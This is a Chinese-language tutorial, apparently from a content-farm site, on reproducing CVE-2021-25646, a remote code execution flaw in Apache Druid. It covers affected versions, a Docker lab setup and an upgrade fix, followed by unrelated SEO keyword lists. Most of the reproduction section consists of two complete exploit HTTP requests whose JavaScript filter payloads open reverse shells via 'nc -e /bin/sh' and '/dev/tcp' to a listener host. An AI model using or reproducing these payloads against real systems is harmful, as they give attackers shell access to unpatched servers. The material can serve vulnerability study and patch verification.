怎么进行Apache Druid 远程代码执行漏洞CVE-2021-25646复现
发表于:2025-02-24 作者:千家信息网编辑
千家信息网最后更新 2025年02月24日,怎么进行Apache Druid 远程代码执行漏洞CVE-2021-25646复现,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。一、
千家信息网最后更新 2025年02月24日怎么进行Apache Druid 远程代码执行漏洞CVE-2021-25646复现
怎么进行Apache Druid 远程代码执行漏洞CVE-2021-25646复现,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。
一、漏洞概要
Apache Druid 是用Java编写的面向列的开源分布式数据存储,旨在快速获取大量事件数据,并在数据之上提供低延迟查询。
Apache Druid 默认情况下缺乏授权认证,攻击者可以发送特制请求,利用Druid服务器上进程的特权执行任意代码。
二、影响范围
影响版本: Apache Druid < 0.20.1
安全版本: Apache Druid 0.20.1
三、环境搭建
https://github.com/apache/druid/
https://druid.apache.org/docs/latest/tutorials/index.html
下载0.19版本
https://github.com/apache/druid/releases/tag/druid-0.19.0
解压
cd druid-druid-0.19.0-rc1\distribution\docker
docker-compose up -d
打开 http://192.168.123.10:8888
四、漏洞复现
Poc1:通用
POST /druid/indexer/v1/sampler HTTP/1.1Host: 192.168.123.10:8888Accept: application/json, text/plain, */*DNT: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36Referer: http://192.168.123.10:8888/unified-console.htmlAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Content-Type: application/jsonConnection: closeContent-Length: 1007{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2020-12-12T12:10:21.040Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('nc 192.168.123.10 5555 -e /bin/sh')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}
注意:因为是docker环境没有bash,这里直接采用nc -e反弹
Poc2:通用
POST /druid/indexer/v1/sampler?for=example-manifest HTTP/1.1Host: 0.0.0.0:8888Content-Length: 1005Accept: application/json, text/plain, */*User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36DNT: 1Content-Type: application/json;charset=UTF-8Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","inputSource":{"type":"http","uris":["https://druid.apache.org/data/example-manifests.tsv"]},"inputFormat":{"type":"tsv","findColumnsFromHeader":true}},"dataSchema":{"dataSource":"sample","timestampSpec":{"column":"timestamp","missingValue":"2010-01-01T00:00:00Z"},"dimensionsSpec":{},"transformSpec":{"transforms":[],"filter":{"type": "javascript", "function": "function(value){return java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/0.0.0.0/5555 0>&1')}", "dimension": "added", "": { "enabled": "true" } } } },"type":"index","tuningConfig":{"type":"index"}},"samplerConfig":{"numRows":50,"timeoutMs":10000}}
五、修复建议
升级至安全版本及其以上。
关于怎么进行Apache Druid 远程代码执行漏洞CVE-2021-25646复现问题的解答就分享到这里了,希望以上内容可以对大家有一定的帮助,如果你还有很多疑惑没有解开,可以关注行业资讯频道了解更多相关知识。
漏洞
版本
代码
数据
问题
安全
更多
环境
帮助
影响
解答
易行
简单易行
事件
内容
分布式
小伙
小伙伴
建议
情况
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
sql 修改数据库编码
江苏sass软件开发商
互联网金融科技素材
软件开发大龄单身什么原因
查看数据库服务器状态
魔域数据库连接失败了
网络技术专业代码
esp8266物联网服务器编程
软件开发行业就业调研报告
修改sql数据库字段类型
葫芦岛网络安全招标
我的世界摧毁服务器的代码
数据库ssid怎么查
安徽计算机软件开发定制
手机方舟服务器租借
数据库在云端安全性
2018网络安全考试答案6
短距离无线网络技术
香港云服务器 试用
网络安全讲座记录
为什么登录联盟连接不上服务器
金融网络安全不可忽视
计算机网络技术毕业设计
易语言 外部数据库1
天津悦昭互联网科技有限公司
vo在软件开发
sql数据库查询时排除指定
网络安全的绘画作品 一等奖
centos 网站服务器
天津网络技术服务询问报价